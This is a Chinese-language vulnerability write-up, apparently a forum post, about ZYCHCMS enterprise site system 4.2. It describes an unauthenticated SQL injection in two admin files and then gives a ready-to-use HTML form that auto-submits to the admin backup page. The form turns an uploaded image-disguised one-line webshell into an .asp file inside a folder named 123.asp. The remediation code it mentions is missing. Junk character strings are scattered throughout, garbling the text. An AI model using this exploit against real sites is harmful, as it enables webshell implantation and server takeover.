ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

5 E2 K' r  u% R
+ h# f  h  t5 ~/ ?
! f2 N7 w; N1 }6 P* |& v! Y# y影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
8 l4 z# K9 W1 T, k$ [  }+ p ①SQL注射漏洞
漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
0 {* T7 T! N7 T/ x! f 漏洞原因：未过滤
漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码
$ y8 t4 Q0 f1 p0 P% D& W9 O7 @
- N# C1 o5 q! m' ?* B# c
②后台拿WBSHELL
6 P9 x: r, \! C* c: T 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
) ^3 L2 Y4 r5 d* d" Y0 M9 ? 以下是代码本地提交代码


# i: _) ]; z, Q. l" T<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
4 J3 A/ F- l8 f4 \! m4 \ <tr>
) V5 @* X. N% R <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
( k! L) x) _/ v* r! G( N </tr>
) `- Q  G/ I4 W* y <tr>
7 R7 ~& i: G* R! Z/ L; \+ S <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
1 ]9 g& O; h0 t+ D; K9 a0 l% @ </span>
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
, o7 `+ l5 W2 M& L <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
) c( J* K. r" J7 v <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
. I7 z) E1 s9 p3 T9 N1 T <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
0 G: Y- J1 v8 ] <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
</tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
, `* U% p( ?# T1 N' B: S; l [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
1 a, C9 k: ?5 y; g </tr>
9 t8 E, b4 v1 @5 f <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
+ p# C/ x: z5 C0 e$ d <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
2 C3 ?- ^- Z- I$ x/ Z <td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
</div></td>
; J$ v& [! x0 |+ u6 ~, E# ^ </tr>
: Y# k0 S) `4 L8 }; I% G  e6 F </table></td></tr></form>
</table>
</td>
</tr>
' p  `' Y9 j7 T7 Q3 H </table>
* _1 V9 _: q* i) t" C <script>
document.all.add.submit();
</script>


1 i8 X1 o' }+ h( L0 t  r$ K7 H
5 o0 m. v* G/ ]) F

& J9 M0 x, A0 d
3 q7 E# ?8 [1 Z9 b: a
% M4 j  @! l% s. a6 o& M
* x1 y$ u! g0 }$ S4 j